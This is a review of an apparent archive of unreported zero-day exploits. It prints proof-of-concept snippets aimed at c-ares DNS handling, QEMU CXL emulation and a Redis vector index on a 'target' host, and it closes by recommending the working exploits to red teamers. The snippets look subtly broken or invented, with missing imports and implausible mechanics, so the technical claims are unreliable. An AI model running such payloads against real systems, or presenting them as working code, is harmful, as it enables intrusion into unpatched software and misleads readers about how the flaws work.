Exploitarium: A 0-Day Archive That Weaponizes AI-Assisted Fuzzing Against 35+ Production Systems

Hook

Someone is publishing container escape exploits for QEMU and Docker before the vendors know they exist, and they're inviting you to claim the CVE credit yourself. The exploits work. The patches don't exist yet.

Context

Traditional vulnerability disclosure follows a social contract: researchers find bugs, vendors get 90 days to patch, then details go public. This protects users while giving researchers credit. Exploit-DB archives weaponized code for patched vulnerabilities. Project Zero publishes deep technical analyses after coordination. Security conferences showcase novel techniques against legacy targets.

Exploitarium breaks this model entirely. It's a flat-file repository of 35+ working exploits—memory corruption in Firefox, authentication bypasses in RustDesk, container escapes in QEMU—published with no prior vendor notification. The author uses GPT 5.3 for assisted fuzzing to discover crash points, then manually develops proof-of-concept exploits. The repository description is explicit: none were reported at publication time, and anyone can take CVE credit if they bother to disclose. It's positioned as educational material to "allure people into the field," but it's functionally an unreported 0-day feed wrapped in a disclaimer against abuse. The collection spans everything from ancient ImageMagick delegate hijacking patterns to bleeding-edge Ladybird WASM vulnerabilities submitted in July 2026, suggesting ongoing active research rather than historical documentation.

Technical Insight

Each vulnerability lives in its own subdirectory with Python scripts, malformed inputs, and markdown writeups. The architecture is deliberately minimal—no shared fuzzing harness, no automated reproduction, just standalone PoCs that demonstrate exploitability. Let's examine the structural patterns that make these work.

The c-ares TCP use-after-free (affecting DNS resolution in curl, Node.js, and countless other projects) shows the typical exploit workflow. The PoC generates a malformed DNS response that triggers incorrect connection state tracking when switching from UDP to TCP fallback. The vulnerability exists in ares_send.c where the library fails to properly invalidate pointers during protocol transitions:

import socket
import struct

def craft_dns_response():
    # DNS header with truncation flag set
    transaction_id = b'\x13\x37'
    flags = struct.pack('>H', 0x8200)  # Response, truncated
    questions = struct.pack('>H', 1)
    answers = struct.pack('>H', 0)
    
    # Malformed question section that survives UDP parsing
    # but triggers state corruption on TCP retry
    question = b'\x03www\x07example\x03com\x00'
    question += struct.pack('>HH', 1, 1)  # A record, IN class
    
    # Add oversized padding that TCP parser handles differently
    padding = b'\x41' * 512
    
    return transaction_id + flags + questions + answers + \
           struct.pack('>HH', 0, 0) + question + padding

# Trigger: Send truncated UDP response, wait for TCP retry,
# then close connection during c-ares state machine transition

This isn't just a crash—it's a use-after-free exploitable for code execution in any application linking c-ares. The PoC doesn't include ASLR bypass gadgets or ROP chains, but it proves the memory safety violation exists. Compare this to typical fuzzer output that just reports crashes without demonstrating exploitability.

The QEMU CXL mailbox escape demonstrates higher sophistication. Compute Express Link (CXL) is a cache-coherent interconnect for memory pooling, and QEMU emulates CXL devices for virtual machines. The vulnerability exploits incorrect bounds checking in mailbox command handlers:

# Craft CXL mailbox command with overlapping memory ranges
from ctypes import *

class CXLMailboxCmd(Structure):
    _fields_ = [
        ("opcode", c_uint16),
        ("flags", c_uint16),
        ("return_code", c_uint16),
        ("payload_length", c_uint32),
        ("payload", c_ubyte * 256)
    ]

def trigger_escape():
    cmd = CXLMailboxCmd()
    cmd.opcode = 0x4300  # GET_POISON_LIST opcode
    cmd.payload_length = 0xFFFFFFFF  # Integer overflow
    
    # Payload contains guest-controlled memory addresses
    # that QEMU copies without validating against VM boundaries
    payload_data = struct.pack('<QQ', 
        0x7ffff7dd1000,  # libc address in QEMU process
        0x100  # Read length
    )
    memmove(cmd.payload, payload_data, len(payload_data))
    
    # Write to CXL MMIO region triggers mailbox handler
    # QEMU reads from host memory and returns data to guest
    return bytes(cmd)

This is a VM escape primitive—the guest can read QEMU host process memory by abusing mailbox command validation. The attack surface here is specialized hardware emulation code that receives less security scrutiny than core CPU virtualization. Security teams audit EPT violations and vmexit handlers obsessively, but CXL mailbox command parsing? That's fuzzing territory, and this PoC proves it.

The Redis HNSW vector search RCE targets an even narrower attack surface. Hierarchical Navigable Small World graphs are used for approximate nearest-neighbor search in vector databases. Redis added this for AI/ML workloads, and the implementation has exploitable memory corruption:

# Exploit HNSW graph node insertion logic
import redis

r = redis.Redis(host='target', port=6379)

# Create HNSW index with specific dimensionality
r.execute_command('FT.CREATE', 'idx', 'SCHEMA', 
                  'vec', 'VECTOR', 'HNSW', '6', 
                  'DIM', '128', 'DISTANCE_METRIC', 'COSINE')

# Insert vectors with malformed neighbor pointers
# that create cycles in the graph structure
for i in range(1000):
    vector = [float(x) for x in range(128)]
    # Specific pattern triggers realloc during graph traversal
    if i % 100 == 99:
        vector[0] = float('inf')  # Triggers distance calculation overflow
    r.hset(f'doc{i}', mapping={'vec': bytes(struct.pack('128f', *vector))})

# Search query triggers corrupted graph traversal
# leading to out-of-bounds write in ef_construction phase
query = [0.0] * 128
r.execute_command('FT.SEARCH', 'idx', '*=>[KNN 10 @vec $vec]',
                  'PARAMS', '2', 'vec', bytes(struct.pack('128f', *query)))

This targets technical debt in specialized features—Redis is battle-tested for key-value operations, but HNSW graph logic is newer code with fewer eyeballs. The PoC demonstrates that AI/ML features expand attack surfaces in unexpected ways.

The consistency across these exploits is the focus on state machine bugs and integer overflows in complex parsers. These aren't use-after-frees in simple string handling—they're logic errors in protocol transitions, hardware emulation, and graph algorithms. That's the signature of systematic fuzzing rather than manual code auditing.

Gotcha

Reproducibility is nearly impossible without reverse-engineering the author's exact environment. The QEMU CXL exploit references specific QEMU versions only by folder name ("qemu-9.1.0"), but doesn't specify kernel version, QEMU compilation flags, or CXL device configuration. The RustDesk PoCs assume specific network topologies and session states that aren't documented. Some researchers report spending hours tweaking environments only to get different crash addresses or no crash at all. This isn't a criticism of exploit brittleness—real exploits are fragile—but the lack of Dockerfiles or VM images means you're recreating research environments blind.

The ethical issues are impossible to ignore. Publishing working container escapes and authentication bypasses without vendor notification puts users at risk, period. The "please do not abuse these" disclaimer is performative when the repository literally provides weaponized code. The invitation to "take credit for the CVE" creates perverse incentives where the person who copy-pastes the PoC into a vendor report gets recognition while users remain unpatched. If your threat model includes adversaries who read GitHub, assume these exploits are being used in the wild. For red teams, this creates operational security questions: using an Exploitarium PoC in an engagement means your techniques might be publicly documented, reducing the value of your offensive capabilities.

Verdict

Use if: You're a red teamer who needs working exploits against current infrastructure software (QEMU, Docker, Redis, Firefox) and can adapt brittle PoCs to your target environment, or you're an offensive researcher who wants to see what AI-assisted fuzzing workflows actually produce in terms of exploitable vulnerability classes rather than just crash reports, or you're a security engineer assessing organizational risk and need to understand what unreported 0-days exist in your stack right now, not after coordinated disclosure timelines. Skip if: You need reproducible research methodology—the AI fuzzing workflow is undocumented and unverifiable, or you're looking for defensive value like detection signatures or IoCs (there are none), or you have ethical concerns about using exploits published without vendor coordination, or you want to learn exploitation techniques through well-documented examples (the writeups assume you already know how to debug heap corruption), or you need reliability guarantees since many PoCs are one-shot crashes without ASLR bypass or exploit stabilization. This is raw intelligence, not collaborative infrastructure.